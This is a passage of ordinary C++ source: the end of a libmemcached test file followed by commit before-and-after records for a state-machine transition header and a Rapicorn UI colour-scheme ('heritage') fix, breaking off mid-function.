test_memcmp(&value[0], &test_value[0], value.size());
test_value.clear();
test_false(foo.getByKey(master_key_b, key, test_value));
test_compare(0, test_value.size());
return TEST_SUCCESS;
}
/* Count the results */
memcached_return_t callback_counter(const memcached_st *,
memcached_result_st *,
void *context)
{
unsigned int *counter= static_cast<unsigned int *>(context);
*counter= *counter +1;
return MEMCACHED_SUCCESS;
}
test_return_t mget_test(memcached_st *original)
{
Memcache memc(original);
memcached_return_t mc_rc;
vector<string> keys;
vector< vector<char> *> values;
keys.reserve(3);
keys.push_back("fudge");
keys.push_back("son");
keys.push_back("food");
vector<char> val1;
vector<char> val2;
vector<char> val3;
populate_vector(val1, "fudge");
populate_vector(val2, "son");
populate_vector(val3, "food");
values.reserve(3);
values.push_back(&val1);
values.push_back(&val2);
values.push_back(&val3);
string return_key;
vector<char> return_value;
/* We need to empty the server before we continue the test */
test_true(memc.flush());
test_true(memc.mget(keys));
test_compare(MEMCACHED_NOTFOUND,
memc.fetch(return_key, return_value));
test_true(memc.setAll(keys, values, 50, 9));
test_true(memc.mget(keys));
size_t count= 0;
while (memcached_success(mc_rc= memc.fetch(return_key, return_value)))
{
test_compare(return_key.length(), return_value.size());
test_memcmp(&return_value[0], return_key.c_str(), return_value.size());
count++;
}
test_compare(values.size(), count);
return TEST_SUCCESS;
}
test_return_t basic_behavior(memcached_st *original)
{
Memcache memc(original);
uint64_t value= 1;
test_true(memc.setBehavior(MEMCACHED_BEHAVIOR_VERIFY_KEY, value));
uint64_t behavior= memc.getBehavior(MEMCACHED_BEHAVIOR_VERIFY_KEY);
test_compare(behavior, value);
return TEST_SUCCESS;
}
test_st tests[] ={
{ "basic", 0,
reinterpret_cast<test_callback_fn*>(basic_test) },
{ "basic_master_key", 0,
reinterpret_cast<test_callback_fn*>(basic_master_key_test) },
{ "increment_test", 0,
reinterpret_cast<test_callback_fn*>(increment_test) },
{ "mget", 1,
reinterpret_cast<test_callback_fn*>(mget_test) },
{ "basic_behavior", 0,
reinterpret_cast<test_callback_fn*>(basic_behavior) },
{0, 0, 0}
};
collection_st collection[] ={
{"block", 0, 0, tests},
{0, 0, 0, 0}
};
#define SERVERS_TO_CREATE 5
#include "libmemcached_world.h"
void get_world(Framework *world)
{
world->collections= collection;
world->_create= reinterpret_cast<test_callback_create_fn*>(world_create);
world->_destroy= reinterpret_cast<test_callback_fn*>(world_destroy);
world->item._startup= reinterpret_cast<test_callback_fn*>(world_test_startup);
world->item._flush= reinterpret_cast<test_callback_fn*>(world_flush);
world->item.set_pre(reinterpret_cast<test_callback_fn*>(world_pre_run));
world->item.set_post(reinterpret_cast<test_callback_fn*>(world_post_run));
world->_on_error= reinterpret_cast<test_callback_error_fn*>(world_on_error);
world->collection_startup= reinterpret_cast<test_callback_fn*>(world_container_startup);
world->collection_shutdown= reinterpret_cast<test_callback_fn*>(world_container_shutdown);
world->runner= &defualt_libmemcached_runner;
}
<|endoftext|> |
<commit_before>#ifndef STATEMACHINE_TRANSITION_HPP
#define STATEMACHINE_TRANSITION_HPP
#include "statemachine_fwd.hpp"
#include <functional>
#include <type_traits>
namespace statemachine
{
namespace detail
{
//! A type-tag for creating eventless transitions.
struct noEvent_t {};
//! A type-tag for creating targetless transitions.
struct noTarget_t {};
//! A tag for creating eventless transitions.
constexpr noEvent_t noEvent = noEvent_t();
//! A tag for creating targetless transitions.
constexpr noTarget_t noTarget = noTarget_t();
template <typename TEvent, typename TGuard, typename TAction>
class NoEventGuardAction
{
};
template <typename TGuard>
class NoEventGuard
{
};
template <typename TState, typename TEvent, typename TGuard, typename TAction>
class SourceEventGuardActionTarget
{
static_assert(std::is_reference<TEvent>::value, "TEvent must be a reference");
static_assert(std::is_reference<TGuard>::value, "TGuard must be a reference");
static_assert(std::is_reference<TAction>::value, "TAction must be a reference");
public:
SourceEventGuardActionTarget(TState* source, TState* target,
TEvent event, TGuard guard, TAction action)
: m_source(source),
m_target(target),
m_event(std::forward<TEvent>(event)),
m_guard(std::forward<TGuard>(guard)),
m_action(std::forward<TAction>(action))
{
}
private:
TState* m_source;
TState* m_target;
TEvent m_event;
TGuard m_guard;
TAction m_action;
template <typename TOptions>
friend class Transition;
};
template <typename TState, typename TEvent, typename TGuard, typename TAction>
class SourceEventGuardAction
{
static_assert(std::is_reference<TEvent>::value, "TEvent must be a reference");
static_assert(std::is_reference<TGuard>::value, "TGuard must be a reference");
static_assert(std::is_reference<TAction>::value, "TAction must be a reference");
public:
SourceEventGuardAction(TState* source, TEvent event, TGuard guard,
TAction action)
: m_source(source),
m_event(std::forward<TEvent>(event)),
m_guard(std::forward<TGuard>(guard)),
m_action(std::forward<TAction>(action))
{
}
SourceEventGuardActionTarget<TState, TEvent, TGuard, TAction> operator==(
TState& target) const
{
return SourceEventGuardActionTarget<TState, TEvent, TGuard, TAction>(
m_source, &target,
std::forward<TEvent>(m_event),
std::forward<TGuard>(m_guard),
std::forward<TAction>(m_action));
}
private:
TState* m_source;
TEvent m_event;
TGuard m_guard;
TAction m_action;
};
template <typename TEvent, typename TGuard, typename TAction>
struct EventGuardAction
{
static_assert(std::is_reference<TEvent>::value, "TEvent must be a reference");
static_assert(std::is_reference<TGuard>::value, "TGuard must be a reference");
static_assert(std::is_reference<TAction>::value, "TAction must be a reference");
EventGuardAction(TEvent event, TGuard guard, TAction action)
: m_event(std::forward<TEvent>(event)),
m_guard(std::forward<TGuard>(guard)),
m_action(std::forward<TAction>(action))
{
}
EventGuardAction(const EventGuardAction&) = default;
EventGuardAction& operator=(const EventGuardAction&) = delete;
TEvent m_event;
TGuard m_guard;
TAction m_action;
};
template <typename TEvent, typename TGuard>
struct EventGuard
{
static_assert(std::is_reference<TEvent>::value, "TEvent must be a reference");
static_assert(std::is_reference<TGuard>::value, "TGuard must be a reference");
EventGuard(TEvent event, TGuard guard)
: m_event(std::forward<TEvent>(event)),
m_guard(std::forward<TGuard>(guard))
{
}
EventGuard(const EventGuard&) = default;
EventGuard& operator=(const EventGuard&) = delete;
template <typename TAction>
EventGuardAction<TEvent, TGuard, TAction&&> operator/ (TAction&& action) const
{
return EventGuardAction<TEvent, TGuard, TAction&&>(
std::forward<TEvent>(m_event),
std::forward<TGuard>(m_guard),
std::forward<TAction>(action));
}
TEvent m_event;
TGuard m_guard;
};
template <typename TEvent>
struct Event
{
static_assert(std::is_reference<TEvent>::value, "TEvent must be a reference");
Event(TEvent event)
: m_event(std::forward<TEvent>(event))
{
}
Event(const Event&) = default;
Event& operator=(const Event&) = delete;
template <typename TGuard>
EventGuard<TEvent, TGuard&&> operator[](TGuard&& guard) const
{
return EventGuard<TEvent, TGuard&&>(std::forward<TEvent>(m_event),
std::forward<TGuard>(guard));
}
template <typename TAction>
EventGuardAction<TEvent, std::nullptr_t&&, TAction&&> operator/(TAction&& action) const
{
return EventGuardAction<TEvent, std::nullptr_t&&, TAction&&>(
std::forward<TEvent>(m_event),
nullptr,
std::forward<TAction>(action));
}
TEvent m_event;
};
template <typename TOptions, typename TEvent>
auto operator+(State<TOptions>& source, Event<TEvent>&& rhs)
-> SourceEventGuardAction<State<TOptions>, TEvent, std::nullptr_t&&, std::nullptr_t&&>
{
return SourceEventGuardAction<State<TOptions>, TEvent, std::nullptr_t&&, std::nullptr_t&&>(
&source,
std::forward<TEvent>(rhs.m_event), nullptr, nullptr);
}
template <typename TOptions, typename TEvent, typename TGuard>
auto operator+(State<TOptions>& source, EventGuard<TEvent, TGuard>&& rhs)
-> SourceEventGuardAction<State<TOptions>, TEvent, TGuard, std::nullptr_t&&>
{
return SourceEventGuardAction<State<TOptions>, TEvent, TGuard, std::nullptr_t&&>(
&source,
std::forward<TEvent>(rhs.m_event),
std::forward<TGuard>(rhs.m_guard), nullptr);
}
template <typename TOptions, typename TEvent, typename TGuard, typename TAction>
auto operator+(State<TOptions>& source, EventGuardAction<TEvent, TGuard, TAction>&& rhs)
-> SourceEventGuardAction<State<TOptions>, TEvent, TGuard, TAction>
{
return SourceEventGuardAction<State<TOptions>, TEvent, TGuard, TAction>(
&source,
std::forward<TEvent>(rhs.m_event),
std::forward<TGuard>(rhs.m_guard),
std::forward<TAction>(rhs.m_action));
}
//! \brief A transition.
template <typename TOptions>
class Transition
{
public:
using state_type = State<TOptions>;
using event_type = typename TOptions::event_type;
using action_type = std::function<void(event_type)>;
using guard_type = std::function<bool(event_type)>;
template <typename TState, typename TEvent, typename TGuard,
typename TAction>
explicit Transition(
SourceEventGuardActionTarget<TState, TEvent, TGuard, TAction>&& rhs)
: m_source(rhs.m_source),
m_target(rhs.m_target),
m_nextInSourceState(0),
m_nextInEnabledSet(0),
m_guard(std::forward<TGuard>(rhs.m_guard)),
m_action(std::forward<TAction>(rhs.m_action)),
m_event(std::forward<TEvent>(rhs.m_event)),
m_eventless(false)
{
}
Transition(const Transition&) = delete;
Transition& operator=(const Transition&) = delete;
const action_type& action() const
{
return m_action;
}
const guard_type& guard() const
{
return m_guard;
}
const event_type& event() const
{
return m_event;
}
//! \brief Checks if the transition is eventless.
//!
//! Returns \p true, if this transition is eventless.
bool eventless() const
{
return m_eventless;
}
//! \brief The source state.
//!
//! Returns the source state.
state_type* source() const
{
return m_source;
}
//! \brief The target state.
//!
//! Returns the target state. If the transition has no target, a
//! null-pointer is returned.
state_type* target() const
{
return m_target;
}
private:
state_type* m_source;
state_type* m_target;
//! The next transition in the same source state.
Transition* m_nextInSourceState;
//! The next transition in the set of enabled transitions.
Transition* m_nextInEnabledSet;
guard_type m_guard;
action_type m_action;
event_type m_event;
bool m_eventless;
friend class State<TOptions>;
friend class StateMachine<TOptions>;
};
} // namespace detail
template <typename TEvent>
inline
detail::Event<TEvent&&> event(TEvent&& ev)
{
return detail::Event<TEvent&&>(std::forward<TEvent>(ev));
}
} // namespace statemachine
#endif // STATEMACHINE_TRANSITION_HPP
<commit_msg>The guard can be enclosed in parenthesis now. This is helpful when lambdas are used.<commit_after>#ifndef STATEMACHINE_TRANSITION_HPP
#define STATEMACHINE_TRANSITION_HPP
#include "statemachine_fwd.hpp"
#include <functional>
#include <type_traits>
namespace statemachine
{
namespace detail
{
//! A type-tag for creating eventless transitions.
struct noEvent_t {};
//! A type-tag for creating targetless transitions.
struct noTarget_t {};
//! A tag for creating eventless transitions.
constexpr noEvent_t noEvent = noEvent_t();
//! A tag for creating targetless transitions.
constexpr noTarget_t noTarget = noTarget_t();
template <typename TEvent, typename TGuard, typename TAction>
class NoEventGuardAction
{
};
template <typename TGuard>
class NoEventGuard
{
};
template <typename TState, typename TEvent, typename TGuard, typename TAction>
class SourceEventGuardActionTarget
{
static_assert(std::is_reference<TEvent>::value, "TEvent must be a reference");
static_assert(std::is_reference<TGuard>::value, "TGuard must be a reference");
static_assert(std::is_reference<TAction>::value, "TAction must be a reference");
public:
SourceEventGuardActionTarget(TState* source, TState* target,
TEvent event, TGuard guard, TAction action)
: m_source(source),
m_target(target),
m_event(std::forward<TEvent>(event)),
m_guard(std::forward<TGuard>(guard)),
m_action(std::forward<TAction>(action))
{
}
private:
TState* m_source;
TState* m_target;
TEvent m_event;
TGuard m_guard;
TAction m_action;
template <typename TOptions>
friend class Transition;
};
template <typename TState, typename TEvent, typename TGuard, typename TAction>
class SourceEventGuardAction
{
static_assert(std::is_reference<TEvent>::value, "TEvent must be a reference");
static_assert(std::is_reference<TGuard>::value, "TGuard must be a reference");
static_assert(std::is_reference<TAction>::value, "TAction must be a reference");
public:
SourceEventGuardAction(TState* source, TEvent event, TGuard guard,
TAction action)
: m_source(source),
m_event(std::forward<TEvent>(event)),
m_guard(std::forward<TGuard>(guard)),
m_action(std::forward<TAction>(action))
{
}
SourceEventGuardActionTarget<TState, TEvent, TGuard, TAction> operator==(
TState& target) const
{
return SourceEventGuardActionTarget<TState, TEvent, TGuard, TAction>(
m_source, &target,
std::forward<TEvent>(m_event),
std::forward<TGuard>(m_guard),
std::forward<TAction>(m_action));
}
private:
TState* m_source;
TEvent m_event;
TGuard m_guard;
TAction m_action;
};
template <typename TEvent, typename TGuard, typename TAction>
struct EventGuardAction
{
static_assert(std::is_reference<TEvent>::value, "TEvent must be a reference");
static_assert(std::is_reference<TGuard>::value, "TGuard must be a reference");
static_assert(std::is_reference<TAction>::value, "TAction must be a reference");
EventGuardAction(TEvent event, TGuard guard, TAction action)
: m_event(std::forward<TEvent>(event)),
m_guard(std::forward<TGuard>(guard)),
m_action(std::forward<TAction>(action))
{
}
EventGuardAction(const EventGuardAction&) = default;
EventGuardAction& operator=(const EventGuardAction&) = delete;
TEvent m_event;
TGuard m_guard;
TAction m_action;
};
template <typename TEvent, typename TGuard>
struct EventGuard
{
static_assert(std::is_reference<TEvent>::value, "TEvent must be a reference");
static_assert(std::is_reference<TGuard>::value, "TGuard must be a reference");
EventGuard(TEvent event, TGuard guard)
: m_event(std::forward<TEvent>(event)),
m_guard(std::forward<TGuard>(guard))
{
}
EventGuard(const EventGuard&) = default;
EventGuard& operator=(const EventGuard&) = delete;
template <typename TAction>
EventGuardAction<TEvent, TGuard, TAction&&> operator/ (TAction&& action) const
{
return EventGuardAction<TEvent, TGuard, TAction&&>(
std::forward<TEvent>(m_event),
std::forward<TGuard>(m_guard),
std::forward<TAction>(action));
}
TEvent m_event;
TGuard m_guard;
};
template <typename TEvent>
struct Event
{
static_assert(std::is_reference<TEvent>::value, "TEvent must be a reference");
Event(TEvent event)
: m_event(std::forward<TEvent>(event))
{
}
Event(const Event&) = default;
Event& operator=(const Event&) = delete;
template <typename TGuard>
EventGuard<TEvent, TGuard&&> operator[](TGuard&& guard) const
{
return EventGuard<TEvent, TGuard&&>(std::forward<TEvent>(m_event),
std::forward<TGuard>(guard));
}
template <typename TGuard>
EventGuard<TEvent, TGuard&&> operator()(TGuard&& guard) const
{
return EventGuard<TEvent, TGuard&&>(std::forward<TEvent>(m_event),
std::forward<TGuard>(guard));
}
template <typename TAction>
EventGuardAction<TEvent, std::nullptr_t&&, TAction&&> operator/(TAction&& action) const
{
return EventGuardAction<TEvent, std::nullptr_t&&, TAction&&>(
std::forward<TEvent>(m_event),
nullptr,
std::forward<TAction>(action));
}
TEvent m_event;
};
template <typename TOptions, typename TEvent>
auto operator+(State<TOptions>& source, Event<TEvent>&& rhs)
-> SourceEventGuardAction<State<TOptions>, TEvent, std::nullptr_t&&, std::nullptr_t&&>
{
return SourceEventGuardAction<State<TOptions>, TEvent, std::nullptr_t&&, std::nullptr_t&&>(
&source,
std::forward<TEvent>(rhs.m_event), nullptr, nullptr);
}
template <typename TOptions, typename TEvent, typename TGuard>
auto operator+(State<TOptions>& source, EventGuard<TEvent, TGuard>&& rhs)
-> SourceEventGuardAction<State<TOptions>, TEvent, TGuard, std::nullptr_t&&>
{
return SourceEventGuardAction<State<TOptions>, TEvent, TGuard, std::nullptr_t&&>(
&source,
std::forward<TEvent>(rhs.m_event),
std::forward<TGuard>(rhs.m_guard), nullptr);
}
template <typename TOptions, typename TEvent, typename TGuard, typename TAction>
auto operator+(State<TOptions>& source, EventGuardAction<TEvent, TGuard, TAction>&& rhs)
-> SourceEventGuardAction<State<TOptions>, TEvent, TGuard, TAction>
{
return SourceEventGuardAction<State<TOptions>, TEvent, TGuard, TAction>(
&source,
std::forward<TEvent>(rhs.m_event),
std::forward<TGuard>(rhs.m_guard),
std::forward<TAction>(rhs.m_action));
}
//! \brief A transition.
template <typename TOptions>
class Transition
{
public:
using state_type = State<TOptions>;
using event_type = typename TOptions::event_type;
using action_type = std::function<void(event_type)>;
using guard_type = std::function<bool(event_type)>;
template <typename TState, typename TEvent, typename TGuard,
typename TAction>
explicit Transition(
SourceEventGuardActionTarget<TState, TEvent, TGuard, TAction>&& rhs)
: m_source(rhs.m_source),
m_target(rhs.m_target),
m_nextInSourceState(0),
m_nextInEnabledSet(0),
m_guard(std::forward<TGuard>(rhs.m_guard)),
m_action(std::forward<TAction>(rhs.m_action)),
m_event(std::forward<TEvent>(rhs.m_event)),
m_eventless(false)
{
}
Transition(const Transition&) = delete;
Transition& operator=(const Transition&) = delete;
const action_type& action() const
{
return m_action;
}
const guard_type& guard() const
{
return m_guard;
}
const event_type& event() const
{
return m_event;
}
//! \brief Checks if the transition is eventless.
//!
//! Returns \p true, if this transition is eventless.
bool eventless() const
{
return m_eventless;
}
//! \brief The source state.
//!
//! Returns the source state.
state_type* source() const
{
return m_source;
}
//! \brief The target state.
//!
//! Returns the target state. If the transition has no target, a
//! null-pointer is returned.
state_type* target() const
{
return m_target;
}
private:
state_type* m_source;
state_type* m_target;
//! The next transition in the same source state.
Transition* m_nextInSourceState;
//! The next transition in the set of enabled transitions.
Transition* m_nextInEnabledSet;
guard_type m_guard;
action_type m_action;
event_type m_event;
bool m_eventless;
friend class State<TOptions>;
friend class StateMachine<TOptions>;
template <typename TDerived>
friend class EventDispatcherBase;
};
} // namespace detail
template <typename TEvent>
inline
detail::Event<TEvent&&> event(TEvent&& ev)
{
return detail::Event<TEvent&&>(std::forward<TEvent>(ev));
}
} // namespace statemachine
#endif // STATEMACHINE_TRANSITION_HPP
<|endoftext|> |
<commit_before>// This Source Code Form is licensed MPL-2.0: http://mozilla.org/MPL/2.0
#include "heritage.hh"
#include "widget.hh"
namespace Rapicorn {
static Color
adjust_color (Color color,
double saturation_factor,
double value_factor)
{
double hue, saturation, value;
color.get_hsv (&hue, &saturation, &value);
saturation *= saturation_factor;
value *= value_factor;
color.set_hsv (hue, MIN (1, saturation), MIN (1, value));
return color;
}
static __attribute__ ((unused)) Color lighten (Color color) { return adjust_color (color, 1.0, 1.1); }
static __attribute__ ((unused)) Color darken (Color color) { return adjust_color (color, 1.0, 0.9); }
static __attribute__ ((unused)) Color alternate (Color color) { return adjust_color (color, 1.0, 0.98); } // tainting for even-odd alterations
static Color
state_color (Color color, WidgetState widget_state, ColorType ctype)
{
/* foreground colors remain stable across certain states */
bool background_color = true;
switch (ctype)
{
case ColorType::FOREGROUND: case ColorType::FOCUS:
case ColorType::BLACK: case ColorType::WHITE:
case ColorType::RED: case ColorType::YELLOW:
case ColorType::GREEN: case ColorType::CYAN:
case ColorType::BLUE: case ColorType::MAGENTA:
background_color = false;
default: ;
}
Color c = color;
const uint64 state = uint64 (widget_state);
if (state & uint64 (WidgetState::ACTIVE) && background_color)
c = adjust_color (c, 1.0, 0.8);
if (state & uint64 (WidgetState::INSENSITIVE))
c = adjust_color (c, 0.8, 1.075);
if (state & uint64 (WidgetState::HOVER) && background_color &&
!(state & uint64 (WidgetState::INSENSITIVE))) // ignore hover if insensitive
c = adjust_color (c, 1.2, 1.0);
return c;
}
static Color
colorset_normal (WidgetState state,
ColorType color_type)
{
switch (color_type)
{
default:
case ColorType::NONE: return 0x00000000;
case ColorType::FOREGROUND: return 0xff000000;
case ColorType::BACKGROUND: return 0xffdfdcd8;
case ColorType::BACKGROUND_EVEN: return colorset_normal (state, ColorType::BACKGROUND);
case ColorType::BACKGROUND_ODD: return alternate (colorset_normal (state, ColorType::BACKGROUND));
case ColorType::DARK: return 0xff9f9c98;
case ColorType::DARK_SHADOW: return adjust_color (colorset_normal (state, ColorType::DARK), 1, 0.9); // 0xff8f8c88
case ColorType::DARK_GLINT: return adjust_color (colorset_normal (state, ColorType::DARK), 1, 1.1); // 0xffafaca8
case ColorType::LIGHT: return 0xffdfdcd8;
case ColorType::LIGHT_SHADOW: return adjust_color (colorset_normal (state, ColorType::LIGHT), 1, 0.93); // 0xffcfccc8
case ColorType::LIGHT_GLINT: return adjust_color (colorset_normal (state, ColorType::LIGHT), 1, 1.07); // 0xffefece8
case ColorType::FOCUS: return 0xff000060;
case ColorType::BLACK: return 0xff000000;
case ColorType::WHITE: return 0xffffffff;
case ColorType::RED: return 0xffff0000;
case ColorType::YELLOW: return 0xffffff00;
case ColorType::GREEN: return 0xff00ff00;
case ColorType::CYAN: return 0xff00ffff;
case ColorType::BLUE: return 0xff0000ff;
case ColorType::MAGENTA: return 0xffff00ff;
}
}
static Color
colorset_selected (WidgetState state,
ColorType color_type)
{
switch (color_type)
{
case ColorType::FOREGROUND: return 0xfffcfdfe; // inactive: 0xff010203
case ColorType::BACKGROUND: return 0xff2595e5; // inactive: 0xff33aaff
case ColorType::BACKGROUND_EVEN: return colorset_selected (state, ColorType::BACKGROUND);
case ColorType::BACKGROUND_ODD: return alternate (colorset_selected (state, ColorType::BACKGROUND));
default: return colorset_normal (state, color_type);
}
}
static Color
colorset_base (WidgetState state,
ColorType color_type)
{
switch (color_type)
{
case ColorType::FOREGROUND: return 0xff101010;
case ColorType::BACKGROUND: return 0xfff4f4f4;
case ColorType::BACKGROUND_EVEN: return colorset_base (state, ColorType::BACKGROUND);
case ColorType::BACKGROUND_ODD: return alternate (colorset_base (state, ColorType::BACKGROUND));
default: return colorset_normal (state, color_type);
}
}
typedef Color (*ColorFunc) (WidgetState, ColorType);
class Heritage::Internals {
WidgetImpl &widget_;
ColorFunc ncf, scf;
public:
HeritageP selected;
Internals (WidgetImpl &widget, ColorFunc normal_cf, ColorFunc selected_cf) :
widget_ (widget), ncf (normal_cf), scf (selected_cf), selected (NULL)
{}
bool
match (WidgetImpl &widget, ColorFunc normal_cf, ColorFunc selected_cf)
{
return widget == widget_ && normal_cf == ncf && selected_cf == scf;
}
Color
get_color (const Heritage *heritage, WidgetState state, ColorType ct) const
{
if (selected.get() == heritage)
return scf (state, ct);
else
return ncf (state, ct);
}
};
Heritage::~Heritage ()
{
if (internals_)
{
if (internals_->selected.get() == this)
internals_->selected = NULL;
else
{
if (internals_->selected)
internals_->selected->internals_ = NULL;
delete internals_;
internals_ = NULL;
}
}
}
HeritageP
Heritage::create_heritage (WindowImpl &window, WidgetImpl &widget, ColorScheme color_scheme)
{
WindowImpl *iwindow = widget.get_window();
assert (iwindow == &window);
ColorFunc cnorm = colorset_normal, csel = colorset_selected;
switch (color_scheme)
{
case ColorScheme::BASE: cnorm = colorset_base; break;
case ColorScheme::SELECTED: cnorm = colorset_selected; break;
case ColorScheme::NORMAL: case ColorScheme::INHERIT: ;
}
Internals *internals = new Internals (widget, cnorm, csel);
return FriendAllocator<Heritage>::make_shared (window, internals);
}
HeritageP
Heritage::adapt_heritage (WidgetImpl &widget, ColorScheme color_scheme)
{
if (internals_)
{
ColorFunc cnorm = colorset_normal, csel = colorset_selected;
switch (color_scheme)
{
case ColorScheme::INHERIT: return shared_from_this();
case ColorScheme::BASE: cnorm = colorset_base; break;
case ColorScheme::SELECTED: cnorm = colorset_selected; break;
case ColorScheme::NORMAL: ;
}
if (internals_->match (widget, cnorm, csel))
return shared_from_this();
}
WindowImpl *window = widget.get_window();
if (!window)
fatal ("Heritage: create heritage without window widget for: %s", widget.name().c_str());
return create_heritage (*window, widget, color_scheme);
}
Heritage::Heritage (WindowImpl &window,
Internals *internals) :
internals_ (internals), window_ (window)
{}
Heritage&
Heritage::selected ()
{
if (internals_)
{
if (!internals_->selected)
{
internals_->selected = FriendAllocator<Heritage>::make_shared (window_, internals_);
}
return *internals_->selected;
}
else
return *this;
}
Color
Heritage::get_color (WidgetState state,
ColorType color_type) const
{
Color c;
if (internals_)
c = internals_->get_color (this, state, color_type);
return state_color (c, state, color_type);
}
Color
Heritage::insensitive_ink (WidgetState state,
Color *glintp) const
{
/* constrcut insensitive ink from a mixture of foreground and dark_color */
Color ink = get_color (state, ColorType::FOREGROUND);
ink.combine (get_color (state, ColorType::DARK), 0x80);
Color glint = get_color (state, ColorType::LIGHT);
if (glintp)
*glintp = glint;
return ink;
}
Color
Heritage::resolve_color (const String &color_name,
WidgetState state,
ColorType color_type)
{
if (color_name[0] == '#')
{
uint32 argb = string_to_int (&color_name[1], NULL, 16);
Color c (argb);
/* invert alpha (transparency -> opacity) */
c.alpha (0xff - c.alpha());
return state_color (c, state, color_type);
}
Aida::EnumValue evalue = Aida::enum_info<ColorType>().find_value (color_name);
if (evalue.ident)
return get_color (state, ColorType (evalue.value));
else
{
Color parsed_color = Color::from_name (color_name);
if (!parsed_color) // transparent black
return get_color (state, color_type);
else
return state_color (parsed_color, state, color_type);
}
}
} // Rapicorn
<commit_msg>UI: heritage: fix ColorScheme::INHERIT not picking color scheme from parent<commit_after>// This Source Code Form is licensed MPL-2.0: http://mozilla.org/MPL/2.0
#include "heritage.hh"
#include "container.hh"
namespace Rapicorn {
static Color
adjust_color (Color color,
double saturation_factor,
double value_factor)
{
double hue, saturation, value;
color.get_hsv (&hue, &saturation, &value);
saturation *= saturation_factor;
value *= value_factor;
color.set_hsv (hue, MIN (1, saturation), MIN (1, value));
return color;
}
static __attribute__ ((unused)) Color lighten (Color color) { return adjust_color (color, 1.0, 1.1); }
static __attribute__ ((unused)) Color darken (Color color) { return adjust_color (color, 1.0, 0.9); }
static __attribute__ ((unused)) Color alternate (Color color) { return adjust_color (color, 1.0, 0.98); } // tainting for even-odd alterations
static Color
state_color (Color color, WidgetState widget_state, ColorType ctype)
{
/* foreground colors remain stable across certain states */
bool background_color = true;
switch (ctype)
{
case ColorType::FOREGROUND: case ColorType::FOCUS:
case ColorType::BLACK: case ColorType::WHITE:
case ColorType::RED: case ColorType::YELLOW:
case ColorType::GREEN: case ColorType::CYAN:
case ColorType::BLUE: case ColorType::MAGENTA:
background_color = false;
default: ;
}
Color c = color;
const uint64 state = uint64 (widget_state);
if (state & uint64 (WidgetState::ACTIVE) && background_color)
c = adjust_color (c, 1.0, 0.8);
if (state & uint64 (WidgetState::INSENSITIVE))
c = adjust_color (c, 0.8, 1.075);
if (state & uint64 (WidgetState::HOVER) && background_color &&
!(state & uint64 (WidgetState::INSENSITIVE))) // ignore hover if insensitive
c = adjust_color (c, 1.2, 1.0);
return c;
}
static Color
colorset_normal (WidgetState state,
ColorType color_type)
{
switch (color_type)
{
default:
case ColorType::NONE: return 0x00000000;
case ColorType::FOREGROUND: return 0xff000000;
case ColorType::BACKGROUND: return 0xffdfdcd8;
case ColorType::BACKGROUND_EVEN: return colorset_normal (state, ColorType::BACKGROUND);
case ColorType::BACKGROUND_ODD: return alternate (colorset_normal (state, ColorType::BACKGROUND));
case ColorType::DARK: return 0xff9f9c98;
case ColorType::DARK_SHADOW: return adjust_color (colorset_normal (state, ColorType::DARK), 1, 0.9); // 0xff8f8c88
case ColorType::DARK_GLINT: return adjust_color (colorset_normal (state, ColorType::DARK), 1, 1.1); // 0xffafaca8
case ColorType::LIGHT: return 0xffdfdcd8;
case ColorType::LIGHT_SHADOW: return adjust_color (colorset_normal (state, ColorType::LIGHT), 1, 0.93); // 0xffcfccc8
case ColorType::LIGHT_GLINT: return adjust_color (colorset_normal (state, ColorType::LIGHT), 1, 1.07); // 0xffefece8
case ColorType::FOCUS: return 0xff000060;
case ColorType::BLACK: return 0xff000000;
case ColorType::WHITE: return 0xffffffff;
case ColorType::RED: return 0xffff0000;
case ColorType::YELLOW: return 0xffffff00;
case ColorType::GREEN: return 0xff00ff00;
case ColorType::CYAN: return 0xff00ffff;
case ColorType::BLUE: return 0xff0000ff;
case ColorType::MAGENTA: return 0xffff00ff;
}
}
static Color
colorset_selected (WidgetState state,
ColorType color_type)
{
switch (color_type)
{
case ColorType::FOREGROUND: return 0xfffcfdfe; // inactive: 0xff010203
case ColorType::BACKGROUND: return 0xff2595e5; // inactive: 0xff33aaff
case ColorType::BACKGROUND_EVEN: return colorset_selected (state, ColorType::BACKGROUND);
case ColorType::BACKGROUND_ODD: return alternate (colorset_selected (state, ColorType::BACKGROUND));
default: return colorset_normal (state, color_type);
}
}
static Color
colorset_base (WidgetState state,
ColorType color_type)
{
switch (color_type)
{
case ColorType::FOREGROUND: return 0xff101010;
case ColorType::BACKGROUND: return 0xfff4f4f4;
case ColorType::BACKGROUND_EVEN: return colorset_base (state, ColorType::BACKGROUND);
case ColorType::BACKGROUND_ODD: return alternate (colorset_base (state, ColorType::BACKGROUND));
default: return colorset_normal (state, color_type);
}
}
typedef Color (*ColorFunc) (WidgetState, ColorType);
class Heritage::Internals {
WidgetImpl &widget_;
ColorFunc ncf, scf;
public:
HeritageP selected;
Internals (WidgetImpl &widget, ColorFunc normal_cf, ColorFunc selected_cf) :
widget_ (widget), ncf (normal_cf), scf (selected_cf), selected (NULL)
{}
bool
match (WidgetImpl &widget, ColorFunc normal_cf, ColorFunc selected_cf)
{
return widget == widget_ && normal_cf == ncf && selected_cf == scf;
}
Color
get_color (const Heritage *heritage, WidgetState state, ColorType ct) const
{
if (selected.get() == heritage)
return scf (state, ct);
else
return ncf (state, ct);
}
};
Heritage::~Heritage ()
{
if (internals_)
{
if (internals_->selected.get() == this)
internals_->selected = NULL;
else
{
if (internals_->selected)
internals_->selected->internals_ = NULL;
delete internals_;
internals_ = NULL;
}
}
}
HeritageP
Heritage::create_heritage (WindowImpl &window, WidgetImpl &widget, ColorScheme color_scheme)
{
WindowImpl *iwindow = widget.get_window();
assert (iwindow == &window);
ColorFunc cnorm = colorset_normal, csel = colorset_selected;
switch (color_scheme)
{
case ColorScheme::BASE: cnorm = colorset_base; break;
case ColorScheme::SELECTED: cnorm = colorset_selected; break;
case ColorScheme::NORMAL: case ColorScheme::INHERIT: ;
}
Internals *internals = new Internals (widget, cnorm, csel);
return FriendAllocator<Heritage>::make_shared (window, internals);
}
HeritageP
Heritage::adapt_heritage (WidgetImpl &widget, ColorScheme color_scheme)
{
if (internals_)
{
ColorFunc cnorm = colorset_normal, csel = colorset_selected;
switch (color_scheme)
{
case ColorScheme::NORMAL: break;
case ColorScheme::BASE: cnorm = colorset_base; break;
case ColorScheme::SELECTED: cnorm = colorset_selected; break;
case ColorScheme::INHERIT:
{
ContainerImpl *container = widget.parent();
return container ? container->heritage() : shared_from_this();
}
}
if (internals_->match (widget, cnorm, csel))
return shared_from_this();
}
WindowImpl *window = widget.get_window();
if (!window)
